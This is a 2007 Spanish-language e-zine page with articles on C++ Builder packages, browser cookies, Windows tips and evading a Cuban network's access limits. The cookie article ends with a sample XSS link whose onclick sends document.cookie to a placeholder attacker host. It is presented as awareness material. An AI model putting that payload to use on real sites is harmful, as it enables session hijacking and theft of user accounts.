lunes, 25 de junio de 2007

Paquetes de C++ Builder

EliuX [aorozco@infomed.sld.cu]

Los paquetes son archivos que contienen datos binarios y recursos, listos para ser usados por una aplicación cliente, igual que las DLLs y los ensamblados de .NET. Éstos son incluso cargados y linkeados tanto dinámica cómo estáticamente. Ustedes se preguntarán: ¿entonces cuál es la diferencia entre una DLL y un paquete?

Para empezar, las DLLs se cargan con la función del API de Windows LoadLibrary; los inits son ejecutados por orden de prioridad y por orden de linkeo. Los datos y funciones de las DLLs se importan usando __declspec(dllimport) (muy pocas veces usado) o __import, y se exportan con __export.
Los paquetes, por su parte, se cargan con LoadPackage y los inits procesados, al revés del orden de dependencia de units, por orden de linkeo y por el de prioridad. Las funciones y los datos de los paquetes son exportados e importados usando __declspec(package).

Bueno, éstas son leves diferencias técnicas inherentes al uso de nuevas tecnologías, considerando principalmente que los paquetes BPL son propios del C++ Builder. Pero la principal diferencia entre los paquetes y las DLLs radica a la hora de linkear dinámicamente los BPI:

  • Las entradas inits no son copiadas dentro de una tabla init como en las DLLs, sino en un __PackageInfoTable que la función LoadPackage() sabe leer.
  • Al final de los BPL se agregan recursos adicionales.
  • El código de inicio no está en c0pkg32.obj, sino en c0d32.obj. c0pkg32.obj no puede llamar a ninguna init de ninguna unit (porque no procesa __PackageInfoTable), pero sí los procesa para un .obj, donde los inits de los paquetes son copiados en el mismo lugar que en una DLL y se comportará como esté en el resto de los aspectos. Más bien, un .bpl sin estar compuesto de ningún unit se comportará como una DLL común.

En pocas palabras: Un .bpl que sea dinámicamente cargado tendrá todas sus units inicializadas por LoadPackage en el orden mencionado. Cuando éste se carga estáticamente (usando los .bpi) sólo tendrá esos units que hayan sidos inicializados por el código del ejecutable que lo utilice, en el orden descrito anteriormente, aunque sea parcial.

Esta inicialización parcial tiene sus ventajas de velocidad, sobre todo vcl60.bpi (paquete que contiene funciones de la VCL) es bastante larga y no todo el mundo necesita usar todas estas units que residen en un ActiveX, un COM, etc. Si se analiza la inicialización parcial, sólo ocurrirá donde sean usado los units; los .obj regularmente son inicializados como las DLLs, donde ninguna parcialidad es permitida.

En resumen, un paquete es como una DLL que básicamente contiene units que permite la inicialización parcial cuando está linkeado estáticamente a un .exe; también usado para permitirle al IDE agregar un componente visual a la paleta, mediante un tipo de programación especifica (de componentes visuales del Borland).

Paquetes comúnmente usados::

Si usted programa en C++ Builder sabrá lo que es la VCL del Builder, y las facilidades que ésta permite -a diferencia del Visual C++ de la Microsoft- para desarrollar aplicaciones visuales creando los formularios y agregando componentes y controles visuales en tiempo de ejecución. Estas funciones y controles visuales de la VCL están contenidos en paquetes, lo cual se puede chequear. Por ejemplo, seleccione con la vista una página de la paleta de componentes visuales y observe los controles que posee. Ahora vaya a Component » Configure Palette... y verá como aparecerán las paletas con sus controles y, al lado de los controles que están en Components, aparecerá el nombre del paquete a que pertenecen. Usted verá algo cómo esto:

Paleta de componentes visuales

Note que los controles de la paleta Standard pertenecen al paquete dclstd60. Eso está muy bien, pero ¿pudiera agregar algún componente visual que yo halla conseguido o creado? Es sencillo: vaya a Components » Install Packages... y verá cómo aparece un ventana conteniendo el nombre completo de los controles y debajo la ruta completa de su BPL o paquete respectivo. Si seleccionan en Components verán cuáles son los componentes visuales que contiene y que aparecen disponibles en la paleta de componentes.

Opciones del proyecto

Para agregar un nuevo componente, deberán presionar sobre Add...; luego se les pedirá que agreguen un nuevo .bpl, y si éste es visual aparecerá en la paleta de componentes visuales en la página donde se halla programado el paquete (muchas veces es en Sample).

Cuando se va a compilar y linkear un proyecto se debe especificar se debe especificar cómo va a usar los paquetes que requiere: dinámica o estáticamente. Por defecto se usa el enlace dinámico. Es posible también escoger units que estén en otros paquetes para que sean linkeados dinámicamente a una unit de un proyecto de determinado. Para hacerlo, tienes que usar #pragma link "unitname". Esto hace que a la hora del linkeo incluya el obj de la clase requerida del paquete en el archivo .lib.

La tabla a continuación contiene los archivos que comúnmente se crean cada vez que compilamos un ejecutable. Recuerden que los paquetes pueden ser enlazados estática y dinámicamente, además de que su contenido puede estar formando parte de la aplicación cliente que lo usa, por lo que el .bpl no se crea.

Paquetes creados en una compilación exitosa
Extensión Descripción Tipo Propósito
.bpl Borland Package Library Biblioteca enlazable dinámicamente Contiene código ejecutable del paquete y exporta las funciones y datos del paquete.
Una biblioteca en tiempo de ejecución accedida por aplicaciones que están dinámicamente linkeada a ella.
Una biblioteca en tiempo de diseño que puede ser instalada dentro del IDE para hacer nuevos componentes o editores disponibles en tiempo de diseño.
.bpi Borland Import Library Biblioteca de Importación Contiene registros de importación para las funciones y datos exportados por el correspondiente archivo BPL requerido para el enlace dinámico a el archivo BPL.
.lib Static Library File Biblioteca de Objetos Una biblioteca que contiene los archivos object de los units contenidos por él. Usado para linkear dinámicamente datos y funciones a una aplicación cliente.

Consideraciones para usar Clases empaquetadas::

Para que una clase sea exportada o importada desde un paquete, se deberá usar la macro PACKAGE después de la palabra clave class en la definición de la clase:

class PACKAGE TMyComponent : public TComponent
{
// Definición de la clase componente
};

La macro PACKAGE también deberá ser usada en la función Register() del paquete. Ejemplo:

namespace Newcomponent
{
  void __fastcall PACKAGE Register()
  {
    TComponentClass classes[1] = {__classid(TMyComponent)};
    RegisterComponents("Samples", classes, 0);
  }
}

Por supuesto, también se aplica a las clases componentes y si usas el Wizard, Builder lo insertará por ti.

Para garantizar que la clase contenida en un paquete sea manipulada correctamente, la directiva #pragma package(smart_init) deberá aparece en archivo fuente de la unit. El propósito de esto es asegurar que los units empaquetados sean inicializados según sus dependencias. La directiva #pragma package(smart_init,weak) será usada cuando no se quiera que una unit en particular sea contenida en el archivo BPL; en su lugar será puesta en el BPI y linkeada estáticamente a la aplicación. Estos tipos de empaques débiles se usan para que no halla conflictos entre paquetes que dependan de una misma librería externa (o sea, para que los paquetes se puedan comunicar desde app-bpl).

Conclusiones:

Los paquetes son una excelente opción para crear componentes visuales, no visuales, clases, procedimientos y recursos. Es posible que tengas funciones que uses y rehuses en uno o más programas que has hecho, por lo que querrás desarrollar una biblioteca para compartir todas esas utilidades y tener mejor control y rendimiento de tus programas. Un ejemplo son los juegos que usan las bibliotecas del DirectX, imagínate si cada juego almacenara las DLLs del Direct3D en su carpeta... tendríamos una redundancia de archivos repetidos enorme. Lo que hacemos es instalar la última versión del DirectX que contiene las funciones anteriores muchas veces mejoradas y otras nuevas. Es como trabajar con clases para los novatos: cuando te acostumbras no dejas de hacerlo nunca más. Recuerda usar en tus grandes DLLs o paquetes, pero conociendo las ventajas de este último... bueno, tú sabrás ;).

Alguno de ustedes dirán: yo no he visto ningún programa que contenga paquetes en vez de DLLs. Bueno, por citarte uno muy bueno, instala el TuneUp Utilities 2007 (programa que recomiendo para mantener tu máquina estable y bien personalizada), haz clic derecho sobre su acceso directo, ve a Propiedades y cuando salga el cuadro de diálogo, presiona el botón Buscar destino; cuando estés en la carpeta del programa, verás los paquetes a tutiplén, incluso te darás cuenta de que inteligentemente el programa desglosa sus labores en distintos paquetes, para no tener que instalar recursos innecesariamente en caso de que no vayas a utilizar uno específico. Viste, bistec ;).

Recuerda escribirme tus experiencias,
saludos,
Eliux.

Continuar leyendo

Seguridad en la navegación

charlie_mtp [neyquesada@infomed.sld.cu]

¿A quién no le ha pasado que un sitio le pide que elimine los cookies o en el navegador ve esa palabra? Pues bien, después de cansarme de no entender qué era eso, me di a la tarea de leer un poco, y después de tomar mis notas creí que podría ayudar a otros de la comunidad BlackHat. Una cookie es un fragmento de información que se almacena en el disco duro de todo aquel que visite una página web a través de su navegador, a petición del servidor de la página (esa información puede ser luego recuperada por el servidor en posteriores visitas).

Un poco de historia siempre viene bien, así que les diré que fueron creadas por Lou Montulli, un antiguo empleado de Netscape Communications, y el término cookie deriva de "cookie mágica". Se empezaron a usar a partir de junio de 1994 como cookies mágicas cuando su creador dio uso de ellas en las comunicaciones web. En un inicio eran aceptadas por los navegadores por defecto y muchos usuarios desconocían de la existencia de las mismas y no eran notificados por el navegador.

Pero aún no sabemos qué hacen en los navegadores, ni tampoco acerca de sus funcionalidades. Pues bien, los usos más frecuentes de las cookies son llevar el control de usuarios. Seguramente muchos de nosotros, después de registrarse en un servidor, no nos hemos puesto a pensar cómo nos reconoce cuando viajamos dentro las páginas del mismo; pues bien, eso es gracias a que se almacena una cookie. Sin embargo, una cookie no identifica a una persona, sino a una combinación de ordenador y navegador. Otro uso es saber (conseguir) los hábitos de navegación del usuario e intentos de spyware, por parte de agencias de publicidad y otros. Este último aspecto es el que lleva a las cookies a un plano negativo, causando posibles problemas de seguridad.

Las cookies permiten identificarnos en un sitio web. Los usuarios normalmente se identifican introduciendo sus datos en una página de validación, pero las cookies permiten al servidor saber que el usuario ya está validado, y por lo tanto se le puede permitir acceder a servicios o realizar operaciones que están restringidas a usuarios identificados. Tal es el ejemplo de Wikipedia (la enciclopedia libre); sus páginas permiten a los usuarios logueados (identificados) elegir un estilo de presentación a su gusto, entre otras cosas.

Manejo de cookies entre el cliente y el servidor

La imagen muestra una posible interacción entre un navegador web y un servidor, en la que el servidor envía una cookie al navegador y el navegador la devuelve cuando solicita otra página.

Como decíamos anteriormente, las cookies son trozos de datos arbitrarios definidos por el servidor web y enviados al navegador, quien posteriormente los devuelve sin modificar al servidor. Las cookies también pueden ser definidas por un script en un lenguaje como JavaScript -si éste está soportado y habilitado en el navegador web. Ahora bien, supongamos que estamos comprando un ordenador en la Web (sería fantástico hacerlo desde nuestro país), y en cada página vamos adquiriendo las piezas que queremos: una página de tarjetas de video, una de memorias RAM, etc., hasta tenerla lista. En ese caso, si el programador del sitio quisiera, podría crear una cookie que nos permitiera saber todo lo que hemos adquirido; incluso si cerrásemos el navegador sin realizar la compra y nos conectamos más tarde, el servidor tendría conocimientos de nuestra última selección para evitarnos buscar los componentes de nuevo. Esa cookie sería creada con fecha de borrado según el deseo del diseñador del sitio web, en cuyo caso la cookie será eliminada en dicha fecha. De lo contrario, si no se define una fecha de borrado, la cookie es borrada cuando el usuario cierra su navegador. Por lo tanto, definir una fecha de borrado es una manera de hacer que la cookie sobreviva entre sesiones. Las cookies con fecha de borrado se llaman persistentes.

No conozco ningún navegador actual que no soporte las cookies (esto no significa que no haya). Sin embargo, los usuarios pueden elegir si las cookies deberían ser utilizadas o no. Las opciones más comunes que nos ofrecen los navegadores son:

  • Las cookies no se aceptan nunca.
  • El navegador pregunta al usuario si debe aceptar cada cookie.
  • Las cookies se aceptan siempre.

Configuración de cookies en FireFox

En fin, nosotros como usuarios podemos aceptar alguna de las siguientes opciones:

  • Rechazar las cookies de determinados dominios.
  • Rechazar las cookies de terceros (ver más abajo).
  • Aceptar cookies como "no persistentes" (se eliminan cuando el navegador se cierra).
  • Permitir al servidor crear cookies para un dominio diferente.

Además, los navegadores pueden también permitir a los usuarios ver y borrar cookies individualmente.

Un pequeño artilugio que pocos conocen es ver las cookies que están activas en una determinada página. Para la mayoría de los navegadores que soportan JavaScript, sólo tienen que escribir en el campo de dirección: javascript:alert("Cookies: "+document.cookie).

Desde su aparición en Internet, no han cesado de circular ideas equivocadas acerca de las cookies. En el año 2005, Jupiter Research publicó los resultados de un estudio según el cual un importante porcentaje de entrevistados creían cierta alguna de las siguientes afirmaciones:

  • Las cookies son similares a gusanos y virus en el hecho de que pueden borrar datos de los discos duros de los usuarios.
  • Las cookies son un tipo de spyware, porque pueden leer información personal almacenada en el ordenador de los usuarios.
  • Las cookies generan pop-ups.
  • Las cookies se utilizan para generar spam.
  • Las cookies sólo se utilizan con fines publicitarios.

Ahora, basándonos en la opinión de estas personas y conociendo un poco en qué consisten las cookies, vamos a hacer una pequeña reflexión:

Las cookies son sólo datos -no códigos-, por tanto no pueden borrar ni leer información del ordenador de los usuarios. Eso sí, las cookies permiten detectar las páginas visitadas por un usuario en un sitio determinado o en un conjunto de sitios y esta información puede ser recopilada en un perfil de usuario. Normalmente estos perfiles son anónimos (no contienen información personal del usuario -nombre, dirección, etc.-), y eso es porque no hay manera de obtenerla, a menos que el mismo usuario la haya escrito en alguno de los sitios visitados. Según el mismo informe, un gran porcentaje de los usuarios de Internet no sabe cómo borrar las cookies.

Continuemos refiriéndonos un poco a la privacidad y aprendamos qué son las cookies de terceros. Una página web puede contener imágenes y otros componentes almacenados en servidores de otros dominios, las cookies que se crean durante las peticiones de estos componentes se llaman cookies de terceros.

Bien, basémonos en este ejemplo ficticio y supongamos que los cuadros de la imagen de la derecha son dos páginas web, una en Wikipedia y otra de Yahoo!. Además, una compañía que está publicando anuncios ha puesto banners (propagandas) en dos sitios web -que no muestran ningún banner real-. Subiendo la imagen del banner en sus servidores y usando cookies de terceros, la compañía que publica es capaz de seguir la búsqueda de usuarios a través de estos dos sitios. Las compañías publicitarias utilizan cookies de terceros para realizar un seguimiento de los usuarios a través de múltiples sitios donde han colocado sus imágenes publicitarias o web bugs, y así dirigir su publicidad según las supuestas preferencias del usuario. Es importante conocer que las cookies no siempre identifican correctamente a los usuarios, y se pueden utilizar en ocasiones para efectuar ataques de seguridad.

Comúnmente nosotros tenemos en la casa, centro de trabajo o estudio más de un navegador; pueden ser IE y Firefox, IE y Opera, y muchas más combinaciones. Esto trae consigo otro problema relacionado con las cookies, y es que cada navegador tiene su propio almacenamiento de cookies. Entonces caemos en algo referido anteriormente, sólo que ahora lo ampliaremos un poco más: "las cookies no identifican a una persona, sino a una combinación de cuenta de usuario, ordenador y navegador". De esta manera, cualquiera que utilice varias cuentas, varios ordenadores o varios navegadores, tiene también múltiples conjuntos de cookies. Estas no diferencian varias personas que utilicen el mismo ordenador o navegador si ellos utilizan la misma cuentas de usuario.

En el Opera 9, las cookies son guardadas en: %ProgramFiles%\Opera\Profile\cookies4.dat
En Internet Explorer: %UserProfile%\Cookies

Y así cada navegador en una carpeta diferente.

He aquí otro problema al que nos enfrentamos cuando navegamos en la red de redes: el robo de cookies, que no es más que el proceso que permite a una parte no autorizada a recibir una cookie, y la encriptación no sirve contra este tipo de ataque. Cuando las cookies son enviadas sobre sesiones HTTP normales, son visibles a todos los usuarios que pueden escuchar en la red utilizando un sniffer de paquetes. Este problema se puede resolver mediante el uso de HTTPS, que invoca seguridad de la capa de transporte para cifrar la conexión. El scripting entre sitios permite que el valor de las cookies se envíe a servidores que normalmente no recibirían esa información.

Los navegadores modernos permiten la ejecución de segmentos de código recibidos del servidor. Si las cookies están accesibles durante la ejecución, su valor puede ser comunicado de alguna manera a servidores que no deberían acceder a ellas. Esta posibilidad es explotada normalmente por atacantes de sitios que permiten a los usuarios el envío de contenido HTML. Introduciendo un segmento de código adecuado en un envío HTML, un atacante puede recibir las cookies de otros usuarios. El conocimiento de estas cookies puede después ser explotado mediante la conexión a los sitios en los que se utilizan las cookies robadas, siendo así identificado como el usuario a quien se le robaron las cookies. Un ejemplo de esto lo veremos al final.

Ahora veamos al problema de la falsificación de cookies utilizando el ejemplo que he empleado de la compra de un ordenador. En teoría, como hemos dicho, las cookies deben ser almacenadas y enviadas de vuelta al servidor sin modificar, ¿pero qué pasaría si al tener la cookie almacenada del sitio al que accedí varió el precio total y en vez de pagar el precio real del ordenador, pago solo una ínfima parte? A este proceso de modificar el valor de las cookies se denomina falsificación de cookies y a menudo se realiza tras un robo de cookies para hacer un ataque persistente.

Pero por seguridad, la mayoría de los sitios web sólo almacenan en la cookie un identificador de sesión (un número único utilizado para identificar la sesión del usuario) y el resto de la información se almacena en el propio servidor. En este caso, el problema de la falsificación de cookies queda prácticamente eliminado.

Las cookies entre sitios (cross-site cooking) funciona similar a la falsificación de cookies, pero el atacante se aprovecha de usuarios no malintencionados con navegadores vulnerables, en vez de atacar el sitio web directamente. El objetivo de estos ataques puede ser realizar una fijación de sesión (robo de sesión en un sitio web). Por eso cada sitio debe tener sus propias cookies, de forma que un sitio blackhat.net no tenga posibilidad de modificar o definir cookies de otro sitio como bluehat.net. Las vulnerabilidades de cross-site cooking de los navegadores permiten a sitios maliciosos romper esta regla.

Ahora pasemos a ver la implementación de una cookie. A pesar de las cookies, los exploradores piden una página a los servidores enviándoles un texto corto llamado "solicitud de HTTP" (HTTP request). Una petición luciría así:

navegador →
GET http://www.w3.org/index.html HTTP/1.1
Accept: */*

→ servidor

El servidor responde al enviar la página pedida precedida por un texto similar, llamado "encabezado HTTP" (HTTP header). Este paquete puede contener líneas haciéndole al explorador una petición para que guarde cookies:

servidor →
HTTP/1.1 200 OK
Content-type: text/html
Set-Cookie: name=value
<content of page>

→ navegador

La línea Set-Cookie es sólo enviada si el servidor desea que el explorador guarde las cookies. De hecho, es una petición al explorador el guardar la secuencia de caracteres name=value (nombre=valor) y enviarla de vuelta en cualquier otro futuro pedido del servidor. Si el explorador soporta cookies y las cookies están admitidas, toda petición de cada página subsecuente al mismo servidor va a contener la misma cookie.
Por ejemplo, el explorador pide la página http://www.w3.org/spec.html enviando al servidor www.w3.org un pedido que se asemeja al siguiente:

navegador →
GET /spec.html HTTP/1.1
Cookie: name=value
Accept: */*

→ servidor

Este es un pedido para otra página del mismo servidor; se diferencia del primero porque contiene la secuencia que el servidor había previamente enviado al explorador. Por ende, el servidor sabe que este pedido está relacionado con el previo. El servidor responde al enviar la página pedida, posiblemente añadiendo otras cookies también.

El valor de la cookie puede ser modificada por el servidor al enviar una nueva línea Set-Cookie: name=new_value en respuesta al pedido de la página. El explorador entonces reemplaza el viejo valor con el nuevo.

Las cookies también pueden ser "seteadas" (como lo decimos a diario; se deriva de set) por JavaScript o scripts similares en el explorador. En JavaScript, el objeto document.cookie es usado para este propósito. Por ejemplo, la instrucción document.cookie = "temperatura=20" crea una cookie de nombre temperatura y valor 20.

Para finalizar veamos un pequeño ejemplo de cómo alguien pueden proceder para recoger nuestras cookies. Primero debo aclarar que este ejemplo no se ha escrito con la idea de ponerlo en práctica, sino para ampliar el conocimiento y evitar que seamos timados. Si algún lector lo utiliza para algo más, que sepan que esa no era la idea del artículo.

En particular, algunos scripting languages (lenguaje script) tales como JavaScript y JScript usualmente permiten acceder a los valores de las cookies y tienen diversas maneras de enviar valores arbitrarios a servidores arbitrarios en Internet. Este hecho es usado en combinación con sitios que permiten a los usuarios postear contenido HTML que otros usuarios pueden ver. Por ejemplo, un atacante en el dominio server3.net puede postear un comentario que contenga el siguiente link a un popular blog sobre el cual ellos no tengan control:

<a href="#" onclick="window.location='http://server4.net/stole.cgi?text='+escape(document.cookie); return false;">Haz clic aquí!</a>

Cuando otro usuario clickee sobre este vínculo, el navegador ejecuta la parte del código dentro del atributo onclick. De esta manera reemplaza la cadena de caracteres document.cookie con la lista de las cookies que están activas en la página. Como resultado, esta lista de cookies es enviada al servidor server4.net, y el atacante está libre de recoger los cookies de otros usuarios.

Este tipo de ataque es difícil de detectar por parte de los usuarios, debido a que los scripts vienen desde el mismo dominio donde han sido seteadas las cookies, y la operación de enviar el valor aparece como autorizada por este dominio. Esto usualmente es considerado como una responsabilidad de los administradores.

Para saber más...

Continuar leyendo

Cacharreando Windows (I)

Krlo [blackhat4all@gmail.com]

El objetivo de esta colección de artículos es presentarles algunas opciones y herramientas de Windows poco conocidas. Estoy seguro que encontrarás algunas interesantes y otras un tanto menos, pero de seguro este trabajo te aportará algo. Si tienes alguna otra cuestión similar, por favor escribe a la revista para poderlo agregar en el próximo número.

Teclas para cambiar de Idioma::

Sobre todo a los programadores nos interesa mucho trabajar con el teclado en su lenguaje original, generalmente inglés, pues podemos encontrar rápidamente caracteres como: ";", "[" y "<". El problema aparece cuando tenemos que escribir en español y queremos las "ñ" y las tildes. Necesitamos entonces una combinación de teclas que nos permita en cualquier momento cambiar el idioma.

Las coordenadas son: Panel de Control » Configuración regional y de idioma » Idiomas » Detalles. Nos encontramos un listado de idiomas que podemos utilizar, podemos agregar o quitar alguno si lo deseamos. El pollo del arroz con pollo es la opción que tenemos abajo, el botón Configuración de teclas, el cual nos muestra un diálogo que nos permite cambiar el teclado al idioma 1 o al 2, o simplemente intercambiarse entre uno y otro.

Send to...

Imaginen que están trabajando en una flash y quieren copiar unos archivos a disco. Una opción sería enviarlos a una carpeta temporal donde decidirían mas tarde su destino final. Qué les parece si pudiéramos enviar desde la flash estos archivos a Temporal, sólo dando un click derecho sobre ellos y utilizando el Send To (Enviar a) como hacemos para mandar a la unidad de disquetes o al clásico Mis Documentos.

1. En C:\Documents and Settings buscamos la carpeta que representa nuestra sesión -o bien, la All Users- para que esté habilitada para todos los usuarios.
2. En dicha carpeta se encuentra otra, generalmente oculta, denominada SendTo. Tenemos que guardarle un acceso directo a Temporal y completo.

De esta manera podemos enviar a Temporal desde cualquier lugar de una manera rápida y práctica.

Barras de Herramientas en la barra de tareas::

Soy de los que acostumbra a oír música cuando trabajo en la máquina. Para ello tengo desde la barra de tareas una carpeta -similar al Quick Launch (Inicio rápido) de Windows- que coincide exactamente con la carpeta en disco de todos mis grupos preferidos.

De esta forma no tengo que abrir un explorador o seleccionar lo que necesito desde el propio reproductor; desde la barra es sin dudas más rápido. Cómo poner una carpeta en la barra de tareas:

1. Click derecho en la misma y seleccionar Barra de herramientas » Nueva barra de herramientas...
2. En el cuadro de diálogo, seleccionar qué carpeta del disco quiero insertar y listo.

Mayor Rendimiento vs. Mejor Apariencia::

Todos perseguimos que nuestra computadora camine más rápido, porque nunca estamos conformes. Es sumamente agradable la velocidad con que el Winamp 2.80 -o inferior- se levanta y empieza a reproducir. Muchas aplicaciones que corren rápido lo logran en parte porque se desprenden de una apariencia exquisita. Hay varios consejos que aligeran el trabajo de Windows a costa de perder un poco de pacotilla.

Propiedades de Pantalla (click derecho en el Escritorio » Propiedades) es un buen lugar por donde empezar. En la pestaña Temas, si seleccionamos Clásico de Windows, volvemos al ambiente de Windows 98, para los nostálgicos. Esta opción me la recomiendan todos mis amigos, así que prueben ustedes a ver si les conviene.

He leído varias veces que tener el display sin papel tapiz permite que dicha imagen no ocupe espacio en la RAM; idea muy aburrida pero con sentido.

El plato fuerte está en Propiedades del Sistema (click derecho sobre Mi PC » Propiedades o mediante la combinación de teclas Win + Pausa). Luego las coordenadas son Opciones Avanzadas » Rendimiento » Configuración. Podemos ajsutar el sistema para un mejor rendimiento o una mejor apariencia. Recomiendo al menos dejar la sombra del mouse y de los menús. Aprovecha y cerciórate de que en la pestaña Opciones Avanzadas tu computadora esté configurada para priorizar la ejecución de programas y no de los servicios en segundo plano.

El DirectX Diagnostic Tool::

Esta aplicación puedes correrla escribiendo dxdiag en el Ejecutar de Windows. Hace un informe de algunas cuestiones importantes como la memoria de video, la versión del DirectX instalada, el modelo del BIOS, la empresa que fabricó la computadora, el tamaño del archivo de paginación y un mundo de cosas.

Servicios::

Este programa te muestra todos los servicios brindados por Windows, los cuales puedes arrancar, parar y configurar. Yo tenía un servicio del Kaspersky corriendo en la máquina -y llevo tiempo sin usar este antivirus-, y otros del VMware Workstation, que no creo que necesite. De esta forma podemos obligarlos a que arranquen manualmente y no cuando ellos decidan, además de deshabilitar los que sabemos que no utilizamos. Para abrir esta utilidad, haz clic en Inicio » Ejecutar y teclea services.msc.

Barras Laterales::

El lado izquierdo de la pantalla es óptimo para otra barra como la de tareas. Fíjense que a diferencia de la zona derecha, donde está el botón de cerrar ventanas y los scrolls para movernos, la parte izquierda de la pantalla no es tocada casi nunca por el cursor del mouse.

Moviendo una carpeta desde el escritorio hacia un extremo de la pantalla conformamos una barra lateral, cuyos elementos son los archivos de esa carpeta. La misma puede llamarse Links y contener accesos directos a archivos, programas u otras carpetas. Recuerdan cuando hablamos del Send To, podemos agregar el mismo a Links y cuando encontremos algo que necesitemos acceder frecuentemente podemos enviarlo a la barra usando el botón derecho del mouse.

Podemos configurar a nuestro gusto la barra en aspectos como el ancho, si queremos que muestre lo iconos grandes o pequeños, si con nombre o sin él, si queremos que se oculte automáticamente y que esté por encima de cualquier ventana abierta (siempre visible). También podemos agregar más carpetas a la barra, y tener más accesos en la misma.

Hibernar::

Esta es quizás la opción más discutible de todas las que hemos visto. Muchas personas con las que he hablado, la hibernación le da mala espina, quizás porque la ven tan extraordinaria y fuera de serie, que los atemoriza. La idea es que hibernando se salva nuestra sesión (todo lo que hay en RAM) en el disco duro, y al encender se carga nuevamente. Lo cierto es que hibernar la computadora en lugar de apagarla, tiene dos ventajas irrefutables:

1. Acelera los procesos de encender y apagar, más si incluimos el tiempo que perdemos algunos cuando cargamos un antivirus pesado, o algún servidor con el que trabajemos o cualquier otra cosa.
2. Permite que al encender estén abiertos todos los proyectos con los que estábamos trabajando al seleccionar hibernar.

Creo que son bastante poderosos ambos como para considerarlos. En todo caso podemos reiniciar la máquina de vez en vez para quienes dicen que a largo plazo esta opción ralentiza la PC. Personalmente la recomiendo, no me ha dado ningún problema, suelo pasar días hibernando cada vez que termino mi trabajo. Recuerden que hibernar es una de las opciones que obtenemos cuando tocamos el botón de apagar. Si no te aparece entre una de ellas, debes abrir Opciones de Energía desde el Panel de Control y habilitar dicha opción. Es imprescindible que tengas permisos de administrador y que tu computadora soporte esta opción.

Para saber más...

Continuar leyendo

Paciencia

Alien [blackhat4all@gmail.com]

Desde hace varios meses se ha estado buscando la forma de acceder a las páginas de Internet desde nuestra precaria Infomed. Los que disfrutaron de los buenos tiempos de esta red, pudieron gozar de tener una cuenta de correo las 24 horas y, aunque no se podía acceder a toda la red, no es menos cierto que se tenía acceso a varios sitios de interés que resultaban útiles y en los que se podía encontrar parte de la información que se buscaba. Luego, con las restricciones de las 25 horas por mes, navegar se convirtió en una tarea de titanes; muchos fueron los métodos para alargar el tiempo, entre los que se destacó la desconexión manual (es decir, quitando el cable de la línea telefónica), con lo que se lograba que el servidor se "mareara", pero eso también dejo de funcionar. Pronto los administradores se dieron cuenta que las personas que normalmente no llegaban a los 20 días de conexión tenían casi las 25 horas intactas cerca de fin de mes, y bueno, ¿para qué contarles?

Ya por aquellos tiempos, el Proxomitron venía convirtiéndose en una opción a tener en cuenta, porque si es cierto que continuábamos teniendo sólo 25 horas, muchos decidimos quedarnos sin cuenta a mitad de mes para poder disfrutar unos minutos viendo páginas de otros países, descargando música, programas... ¡qué tiempos aquellos! Vale aclarar que el precio era un poco alto (a mi entender), si se tiene en cuenta que realmente para echarlo a andar no se necesitaba de altos conocimientos informáticos, ni de una sofisticada máquina, o de un título universitario; bastaba copiar un pequeñísimo archivo dentro de la carpeta del programa y referenciarlo usando las opciones que éste nos daba.

Luego de esto, las limitaciones se hicieron más evidentes: nuestro famoso programita se "rompió" y, junto con esto, nuestros queridos administradores se han encargado poco a poco de quitar el acceso a los pocos sitios que teníamos fuera del país, se anularon las imágenes en Google, se anclaron los teléfonos e incluso, conseguir una cuenta de correo se volvió algo casi imposible. "Los médicos que están de misiones tienen prioridad", como si el estar aquí dentro tampoco fuera una misión.

En una de las primeras ediciones de BlackHat se publicó un pequeño -pero útil- truco que nos "devolvía" dos minutos de conexión por cada vez que nos conectáramos, pero eso no basta. Realmente es un trabajo un poco pesado para los que tienen la cajita de teléfono lejos de la máquina, y ya cuando sólo falta una semana para culminar la mensualidad y tenemos menos del 20% de la cuota utilizada, ni yo mismo lo hago.

Desde los inicios, yo personalmente he tratado de buscar formas y vías alternativas para superar las barreras virtuales que nos circunscriben en un marco limitado por los dominios .cu, pero tengo que admitir que esta tarea es bastante difícil. He estado tratando de hacer pruebas con el módem, habilitando distintos servicios para ver si al recibir una llamada se comporta de alguna forma peculiar... y nada. Más fácil me ha sido buscar en la red una serie de sitios a los que "aún" se puede entrar, pero cuando tengo una lista de 10 o 12 sitios y decido revisarla para comprobar si todavía están disponibles, me aparece el clásico cartel de:

Error
The requested URL could not be retrieved
Access Denied

Hace unos días un amigo y reciente lector de la revista me contactó ofreciéndome un servicio muy singular. El hecho es que él tiene un server y con sólo enviarle un correo poniendo en el asunto la dirección de una página, automáticamente se le envía al remitente un mensaje que contiene como archivo adjunto el contenido de dicha web.

El servicio como tal está aceptable. Carece aún de imágenes y los vínculos son enviados como mensaje de correo al dueño del servidor, pero aún así, se puede al menos leer contenido de páginas internacionales, cosa que veo muy buena, ya que contribuye al desestancamiento virtual.

Luego de leerme varios documentos, supe que el servicio se viene usando en otros países desde hace mucho tiempo, y al que se le reconoce con el nombre de "FTP por correo electrónico". Habiendo dicho esto, sé que muchos se desesperarán por abrir Google y buscar alguna palabra que dé como resultado algo similar. Por mi parte -como dije- aún lo estoy poniendo a prueba, buscando otros servers que se dediquen a esto, analizando las ventajas y desventajas de cada uno, viendo las ofertas que existen, etc. Con toda seguridad les digo que en la próxima edición de BlackHat, ustedes tendrán un artículo mucho más detallado sobre el tema.

Hasta entonces, paciencia.

Para saber más...

Continuar leyendo

El antivirus NOD32

charlie_mtp [neyquesada@infomed.sld.cu]

Me alegro que ZorphDark haya tocado en la edición 18 de la revista el asunto de la seguridad. Aprovechando que le dio una pequeña introducción al tema del software y sólo se adentró en el hardware (que para ser sinceros nunca me había puesto a pensar en ello, y está muy bueno conocerlo), quiero tener la oportunidad para presentar convenientemente este artículo y continuar con el tema de la seguridad (creo que es un tema muy hablado ya, pero ideal para abrir un debate -si no está- en nuestro nuevo foro), pero esta vez orientado hacia la parte del software, específicamente hacia el antivirus NOD32.

